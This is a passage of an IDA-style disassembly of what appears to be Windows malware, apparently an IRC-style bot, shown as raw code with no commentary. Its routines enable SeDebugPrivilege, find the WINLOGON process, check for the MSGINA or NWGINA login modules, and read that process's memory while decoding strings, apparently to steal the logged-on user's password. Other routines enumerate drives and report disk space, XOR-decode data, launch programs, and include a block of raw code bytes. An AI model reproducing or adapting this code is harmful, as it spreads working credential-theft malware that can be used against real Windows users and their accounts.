eax, [ebp-248h] push eax push offset unk_438308 loc_41693A: ; CODE XREF: ___:00416928j mov eax, [ebp-48h] imul eax, 234h add eax, offset dword_43E710 push eax call sub_41C266 add esp, 10h cmp [ebp+8], esi ja loc_416881 loc_41695A: ; CODE XREF: ___:0041690Ej cmp [ebp-3Ch], esi mov dword ptr [ebp-14h], 1 jz short loc_4169AF cmp edi, [ebp-3Ch] jz short loc_4169AF push dword ptr [ebp-3Ch] lea eax, [ebp-510h] mov [ebp-14h], esi push edi push offset unk_4382DC push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 28h loc_4169AF: ; CODE XREF: ___:00416964j ; ___:00416969j nop call near ptr 26C0589h sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 26808BBh push dword ptr [ebp-1Ch] call sub_41BA91 cmp [ebp-38h], esi pop ecx jz short loc_416A39 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416A39 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_4382B4 push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 28h loc_416A39: ; CODE XREF: ___:004169E1j ; ___:004169F3j cmp [ebp-14h], esi jz loc_416C79 cmp dword ptr [ebp-44h], 1 jz loc_416B34 mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_427690 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_427690 fstp qword ptr [esp] push offset unk_43827C push eax call sub_41C266 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416AB4 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416AB4: ; CODE XREF: ___:00416A92j lea eax, [ebp-510h] push eax call sub_415D38 cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_416C79 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CB940 cmp [ebp-30h], esi jnz loc_416C79 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_438260 push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 24h jmp loc_416C79 ; --------------------------------------------------------------------------- loc_416B34: ; CODE XREF: ___:00416A46j mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_427690 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_427690 fstp qword ptr [esp] push offset unk_43821C push eax call sub_41C266 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416B9C push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416B9C: ; CODE XREF: ___:00416B7Aj lea eax, [ebp-510h] push eax call sub_415D38 push 10h lea eax, [ebp-10h] push esi push eax call sub_41BF70 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41BF70 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset byte_43DB88 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 2680B8Eh cmp eax, edi jnz short loc_416C1E call dword_4CB92C call sub_4188A6 push esi nop call near ptr 77E75CB5h loc_416C1E: ; CODE XREF: ___:00416C0Aj lea eax, [ebp-148h] push eax push offset unk_4381E8 jmp short loc_416C38 ; --------------------------------------------------------------------------- loc_416C2C: ; CODE XREF: ___:004167E5j lea eax, [ebp-248h] push eax push offset unk_4381BC loc_416C38: ; CODE XREF: ___:00416C2Aj lea eax, [ebp-510h] push eax call sub_41C266 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_416C6C push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416C6C: ; CODE XREF: ___:00416C4Aj lea eax, [ebp-510h] push eax call sub_415D38 pop ecx loc_416C79: ; CODE XREF: ___:00416A3Cj ; ___:00416AC5j ... push dword ptr [ebp-18h] call dword_4CBA08 push dword ptr [ebp-48h] call sub_40B6D6 pop ecx push esi nop call near ptr 2710000h ; =============== S U B R O U T I N E ======================================= sub_416C92 proc near ; CODE XREF: ___:004168BEp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416CAE loc_416C9E: ; CODE XREF: sub_416C92+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_416C9E locret_416CAE: ; CODE XREF: sub_416C92+Aj retn sub_416C92 endp ; =============== S U B R O U T I N E ======================================= sub_416CAF proc near ; CODE XREF: sub_401ACD+5761p ; sub_401ACD+5896p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41DC5E pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416CAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CC9 proc near ; CODE XREF: sub_41036B+458p ; sub_41036B+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D35F8 push 0 push edi call sub_41BF70 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416CEE: ; CODE XREF: sub_416CC9+5Bj ; sub_416CC9+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41DD20 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41DCB0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416D2C inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416CEE mov byte ptr [esi], 2Ch inc esi jmp short loc_416CEE ; --------------------------------------------------------------------------- loc_416D2C: ; CODE XREF: sub_416CC9+4Bj dec esi mov eax, edi loc_416D2F: ; CODE XREF: sub_416CC9+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416D3E mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416D2F ; --------------------------------------------------------------------------- loc_416D3E: ; CODE XREF: sub_416CC9+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416CC9 endp ; =============== S U B R O U T I N E ======================================= sub_416D48 proc near ; CODE XREF: sub_416EFD+51p ; sub_416EFD+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA34 sub eax, 0 jz short loc_416D8B dec eax jz short loc_416D85 dec eax dec eax jz short loc_416D7F dec eax jz short loc_416D79 dec eax jz short loc_416D73 dec eax jz short loc_416D6D mov eax, offset word_4383AC retn ; --------------------------------------------------------------------------- loc_416D6D: ; CODE XREF: sub_416D48+1Dj mov eax, offset off_4383A8 retn ; --------------------------------------------------------------------------- loc_416D73: ; CODE XREF: sub_416D48+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416D79: ; CODE XREF: sub_416D48+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416D7F: ; CODE XREF: sub_416D48+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416D85: ; CODE XREF: sub_416D48+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416D8B: ; CODE XREF: sub_416D48+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D91 proc near ; CODE XREF: sub_416DD9+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CB8C4 test eax, eax jz short loc_416DC6 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416DC6: ; CODE XREF: sub_416D91+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416D91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DD9 proc near ; CODE XREF: sub_416EFD+17p ; sub_41AF8F+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416D91 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416EB7 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41C360 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41C360 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41C360 add esp, 10h pop ebx jmp short loc_416EE9 ; --------------------------------------------------------------------------- loc_416EB7: ; CODE XREF: sub_416DD9+2Cj ; sub_416DD9+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41C266 pop ecx pop ecx loc_416EE9: ; CODE XREF: sub_416DD9+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416DD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EFD proc near ; CODE XREF: sub_416FCF+17p ; sub_416FCF+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41CA50 add esp, 10h test eax, eax jnz short loc_416F70 push ebx push ebx call sub_416D48 pop ecx push eax push offset unk_4383FC lea eax, [ebp+var_500] push 200h push eax call sub_41C360 add esp, 14h jmp short loc_416FA4 ; --------------------------------------------------------------------------- loc_416F70: ; CODE XREF: sub_416EFD+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_416D48 pop ecx push eax push offset unk_4383C0 lea eax, [ebp+var_500] push 200h push eax call sub_41C360 add esp, 20h loc_416FA4: ; CODE XREF: sub_416EFD+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_500] push eax call sub_415D38 add esp, 18h pop edi pop esi pop ebx leave retn sub_416EFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FCF proc near ; CODE XREF: sub_401ACD+252Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416FF0 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EFD add esp, 10h jmp short loc_417051 ; --------------------------------------------------------------------------- loc_416FF0: ; CODE XREF: sub_416FCF+9j push esi push edi push ebx push ebx call dword_4CB93C lea esi, [eax+2] push esi call sub_41BEB5 pop ecx mov edi, eax push edi push esi call dword_4CB93C cmp [edi], bl mov esi, edi jz short loc_417048 loc_417014: ; CODE XREF: sub_416FCF+77j push offset off_438438 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_417037 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EFD add esp, 10h loc_417037: ; CODE XREF: sub_416FCF+54j push esi call sub_41B9C0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_417014 loc_417048: ; CODE XREF: sub_416FCF+43j push edi call sub_41BA91 pop ecx pop edi pop esi loc_417051: ; CODE XREF: sub_416FCF+1Fj pop ebx pop ebp retn sub_416FCF endp ; --------------------------------------------------------------------------- dword_417054 dd 81EC8B55h, 49CECh, 8458B00h, 0B9575653h, 0A7h, 0BD8DF08Bh ; DATA XREF: sub_401ACD+67C1o dd 0FFFFFD64h, 80C7A5F3h, 298h, 1, 0FEEC858Dh, 0E850FFFFh dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh, 83FFFF27h dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh, 0C4830000h dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h, 83000051h dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h dd 0E8905359h, 22F8E94h, 555B5E5Fh, 0EC81EC8Bh, 54Ch, 0BE575653h dd 104h, 8D1875FFh, 0FFFDB885h, 84A068FFh, 50560043h, 51CBE8h dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh, 0B8858D50h dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh, 0FFFEE885h dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h, 0FF000051h dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh dd 0D9E8FC75h, 9002388Dh, 8F75C085h, 90FC75FFh, 1D8DCBE8h dd 1475FF02h, 0FDB8858Dh, 75FFFFFFh, 50565318h, 5117E8h dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 8D52E890h, 0C0850238h dd 9056B175h, 1D8D47E8h, 1C458B02h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172C1 proc near ; DATA XREF: sub_401ACD+1C72o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41AE41 cmp eax, esi mov [ebp+var_4], eax jz short loc_417300 cmp eax, 2 jz short loc_417300 push offset unk_438678 jmp loc_41743F ; --------------------------------------------------------------------------- loc_417300: ; CODE XREF: sub_4172C1+2Ej ; sub_4172C1+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx test eax, eax pop ecx jz loc_41743A push ebx push offset aNtdll_dll ; "NTDLL.DLL" call near ptr 26E0000h nop mov esi, dword_4270C4 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D483C, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D4830, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D4A40, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D4838, eax call esi mov dword_4D4834, eax call sub_417493 test eax, eax mov [ebp+arg_0], eax jz loc_41740D mov esi, dword_427148 mov edi, 400h mov ebx, offset dword_4D3830 push edi push ebx push offset off_4385B4 call esi push edi mov edi, offset dword_4D4030 push edi push offset off_43859C call esi cmp [ebp+var_4], 1 push offset dword_4D4A48 push [ebp+arg_0] jnz short loc_4173B9 call sub_41761C jmp short loc_4173BE ; --------------------------------------------------------------------------- loc_4173B9: ; CODE XREF: sub_4172C1+EFj call sub_4177C3 loc_4173BE: ; CODE XREF: sub_4172C1+F6j pop ecx test eax, eax pop ecx jz short loc_417406 cmp dword_4D4A48, 0 jnz short loc_4173ED push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_438540 push 200h push eax call sub_41C360 add esp, 18h jmp short loc_417420 ; --------------------------------------------------------------------------- loc_4173ED: ; CODE XREF: sub_4172C1+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4173FD call sub_4178F9 jmp short loc_417402 ; --------------------------------------------------------------------------- loc_4173FD: ; CODE XREF: sub_4172C1+133j call sub_417990 loc_417402: ; CODE XREF: sub_4172C1+13Aj pop ecx push eax jmp short loc_417412 ; --------------------------------------------------------------------------- loc_417406: ; CODE XREF: sub_4172C1+101j push offset unk_438508 jmp short loc_417412 ; --------------------------------------------------------------------------- loc_41740D: ; CODE XREF: sub_4172C1+B6j push offset unk_4384DC loc_417412: ; CODE XREF: sub_4172C1+143j ; sub_4172C1+14Aj lea eax, [ebp+var_29C] push eax call sub_41C266 pop ecx pop ecx loc_417420: ; CODE XREF: sub_4172C1+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push [ebp+var_8] call near ptr 27E0813h nop pop ebx jmp short loc_41744D ; --------------------------------------------------------------------------- loc_41743A: ; CODE XREF: sub_4172C1+4Ej push offset unk_4384A8 loc_41743F: ; CODE XREF: sub_4172C1+3Aj lea eax, [ebp+var_29C] push eax call sub_41C266 pop ecx pop ecx loc_41744D: ; CODE XREF: sub_4172C1+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_417474 push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409869 add esp, 14h loc_417474: ; CODE XREF: sub_4172C1+191j lea eax, [ebp+var_29C] push eax call sub_415D38 push [ebp+var_18] call sub_40B6D6 pop ecx pop ecx push esi nop call near ptr 2710000h pop edi pop esi sub_4172C1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417493 proc near ; CODE XREF: sub_4172C1+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427154 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427150 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D483C push ebp push 0 call esi push eax call near ptr 27F0614h nop push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D483C test eax, eax jnz short loc_417580 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417580 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_417580 loc_41751C: ; CODE XREF: sub_417493+EBj cmp word ptr [ebx+8], 5 jnz short loc_417573 push 0 push 0 call dword_4D4830 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D4A40 test eax, eax jnz short loc_417564 mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_417598 loc_417564: ; CODE XREF: sub_417493+AAj test edi, edi jz short loc_41756F push edi call dword_4D4838 loc_41756F: ; CODE XREF: sub_417493+D3j mov eax, [esp+28h+var_10] loc_417573: ; CODE XREF: sub_417493+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_41751C loc_417580: ; CODE XREF: sub_417493+6Dj ; sub_417493+7Aj ... xor edi, edi loc_417582: ; CODE XREF: sub_417493+17Dj push ebp push 0 call esi push eax nop call near ptr 27F0614h mov eax, edi loc_417590: ; CODE XREF: sub_417493+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417598: ; CODE XREF: sub_417493+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_417601 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_4175AE: ; CODE XREF: sub_417493+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_417615 push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4175F3 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_4175F3: ; CODE XREF: sub_417493+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_4175AE loc_417601: ; CODE XREF: sub_417493+10Fj test edi, edi jz short loc_41760C push edi call dword_4D4838 loc_41760C: ; CODE XREF: sub_417493+170j mov edi, [esp+28h+var_4] jmp loc_417582 ; --------------------------------------------------------------------------- loc_417615: ; CODE XREF: sub_417493+13Cj xor eax, eax jmp loc_417590 sub_417493 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41761C proc near ; CODE XREF: sub_4172C1+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 26B0000h cmp eax, esi mov [ebp+var_4], eax jnz short loc_417645 xor eax, eax jmp loc_4177C0 ; --------------------------------------------------------------------------- loc_417645: ; CODE XREF: sub_41761C+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 2810236h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427154 push 8 call esi mov edi, dword_427150 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_42715C push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_417695 xor esi, esi jmp loc_4177B3 ; --------------------------------------------------------------------------- loc_417695: ; CODE XREF: sub_41761C+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 2800B91h test eax, eax jz loc_4177A2 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4177A2 test [ebp+var_2B], 1 jnz loc_4177A2 push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4177A2 loc_4176F8: ; CODE XREF: sub_41761C+112j push edi push offset dword_4D3830 call sub_4263E5 pop ecx test eax, eax pop ecx jnz short loc_417720 lea eax, [edi+200h] push eax push offset dword_4D4030 call sub_4263E5 pop ecx test eax, eax pop ecx jz short loc_417730 loc_417720: ; CODE XREF: sub_41761C+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4177A2 jmp short loc_4176F8 ; --------------------------------------------------------------------------- loc_417730: ; CODE XREF: sub_41761C+102j test edi, edi jz short loc_4177A2 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 2790872h test eax, eax jz short loc_41776B lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call near ptr 2790328h nop test eax, eax jz short loc_41776B mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_41776B: ; CODE XREF: sub_41761C+12Bj ; sub_41761C+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4A54, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D4A4C, eax mov dword_4D4A50, edi loc_4177A2: ; CODE XREF: sub_41761C+90j ; sub_41761C+A2j ... push [ebp+arg_0] push 0 call esi push eax call near ptr 27F0614h nop mov esi, [ebp+var_10] loc_4177B3: ; CODE XREF: sub_41761C+74j push [ebp+var_4] nop call near ptr 26808BBh pop edi mov eax, esi pop ebx loc_4177C0: ; CODE XREF: sub_41761C+24j pop esi leave retn sub_41761C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177C3 proc near ; CODE XREF: sub_4172C1:loc_4173B9p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call near ptr 26B0000h nop test eax, eax mov [ebp+arg_0], eax jz loc_4178B5 mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call near ptr 2810236h nop mov 